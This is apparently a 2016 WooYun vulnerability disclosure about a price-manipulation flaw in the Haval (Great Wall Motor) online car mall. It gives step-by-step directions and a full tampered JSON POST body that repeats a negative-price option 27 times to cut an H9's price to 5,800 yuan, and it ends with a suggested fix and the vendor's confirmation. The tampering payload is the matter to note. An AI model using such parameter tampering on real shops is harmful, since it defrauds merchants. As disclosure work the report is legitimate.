当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0200301

漏洞标题：哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

相关厂商：gwm.com.cn

漏洞作者： 江湖闯名号

提交时间：2016-04-25 12:13

修复时间：2016-06-17 10:10

公开时间：2016-06-17 10:10

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-25： 细节已通知厂商并且等待厂商处理中
2016-05-03： 厂商已经确认，细节仅向厂商公开
2016-05-13： 细节向核心白帽子及相关领域专家公开
2016-05-23： 细节向普通白帽子公开
2016-06-02： 细节向实习白帽子公开
2016-06-17： 细节向公众公开

简要描述：

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

详细说明：

自定义汽车配置参数在post时重复写入在加入导致减少价格，因为最低需要支付5000，减少该配置是-1000所以最少要支付5800元。其他车不可以是因为没有减价项。
一、访问哈弗汽车商城里的汽车车型
http://mall.haval.com.cn/carload/spuSelector.html
二、选择哈弗H9

1.png


三、在装备项勾选“五人座”-10000

2.png


四、点击加入购物车或者是立即购买，查看数据包。

3.png


五、查看返回数据，等下要改。

4.png


六、用工具重新post数据，重复{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},着串数据27次等于减27W。重新得到七、返回的数据。

5.png


baidaJsonStr={"userJokerDetails":[{"PRODUCT_ID":10387,"BAIDA_TYPE":2,"PARAM_ID":1324,"PART_ID":359,"MATCH_PARAM_ID":295,"ADD_PRICE":0,"BAIDA_NAME":"灰黑内饰"},{"PRODUCT_ID":10387,"BAIDA_TYPE":2,"PARAM_ID":1325,"PART_ID":"387","MATCH_PARAM_ID":295,"ADD_PRICE":"0","BAIDA_NAME":"卷云银纹装饰板"},{"PRODUCT_ID":10387,"BAIDA_TYPE":1,"PARAM_ID":1323,"PART_ID":296,"MATCH_PARAM_ID":295,"ADD_PRICE":0,"BAIDA_NAME":"极地白"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"}],"PRODUCT_ID":10387,"MATCH_PARAM_ID":295,"BASE_PRICE":275800,"ADD_PRICE_ALL":-10000,"USER_JOKER_ID":"","SAVE_MODE":2}


八、在页面中找到第一次在页面上post回的数，修改为post工具中得到的数，点确认购买，或放入购物车。

6.png


九、进入购物车页面

7.png


十、点击去结账

7.png


十一、进入支付定金界面

8.png


9.png


十二、支付成功

10.png


11.png


漏洞证明：

一、访问哈弗汽车商城里的汽车车型
http://mall.haval.com.cn/carload/spuSelector.html
二、选择哈弗H9

1.png


三、在装备项勾选“五人座”-10000

2.png


四、点击加入购物车或者是立即购买，查看数据包。

3.png


五、查看返回数据，等下要改。

4.png


六、用工具重新post数据，重复{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},着串数据27次等于减27W。重新得到七、返回的数据。

5.png


baidaJsonStr={"userJokerDetails":[{"PRODUCT_ID":10387,"BAIDA_TYPE":2,"PARAM_ID":1324,"PART_ID":359,"MATCH_PARAM_ID":295,"ADD_PRICE":0,"BAIDA_NAME":"灰黑内饰"},{"PRODUCT_ID":10387,"BAIDA_TYPE":2,"PARAM_ID":1325,"PART_ID":"387","MATCH_PARAM_ID":295,"ADD_PRICE":"0","BAIDA_NAME":"卷云银纹装饰板"},{"PRODUCT_ID":10387,"BAIDA_TYPE":1,"PARAM_ID":1323,"PART_ID":296,"MATCH_PARAM_ID":295,"ADD_PRICE":0,"BAIDA_NAME":"极地白"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"}],"PRODUCT_ID":10387,"MATCH_PARAM_ID":295,"BASE_PRICE":275800,"ADD_PRICE_ALL":-10000,"USER_JOKER_ID":"","SAVE_MODE":2}


八、在页面中找到第一次在页面上post回的数，修改为post工具中得到的数，点确认购买，或放入购物车。

6.png


九、进入购物车页面

7.png


十、点击去结账

7.png


十一、进入支付定金界面

8.png


9.png


十二、支付成功

10.png


11.png

修复方案：

验证post参数，每项参数只能出现一次。另外就是这个订单我已经支付了，如果算数的话我就去提车，要是不算数请将款退回我卡里，谢谢！！！我的订单编号：20160424224109548908

版权声明：转载请注明来源 江湖闯名号@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2016-05-03 10:03

厂商回复：

厂家正在紧急处理。

最新状态：

暂无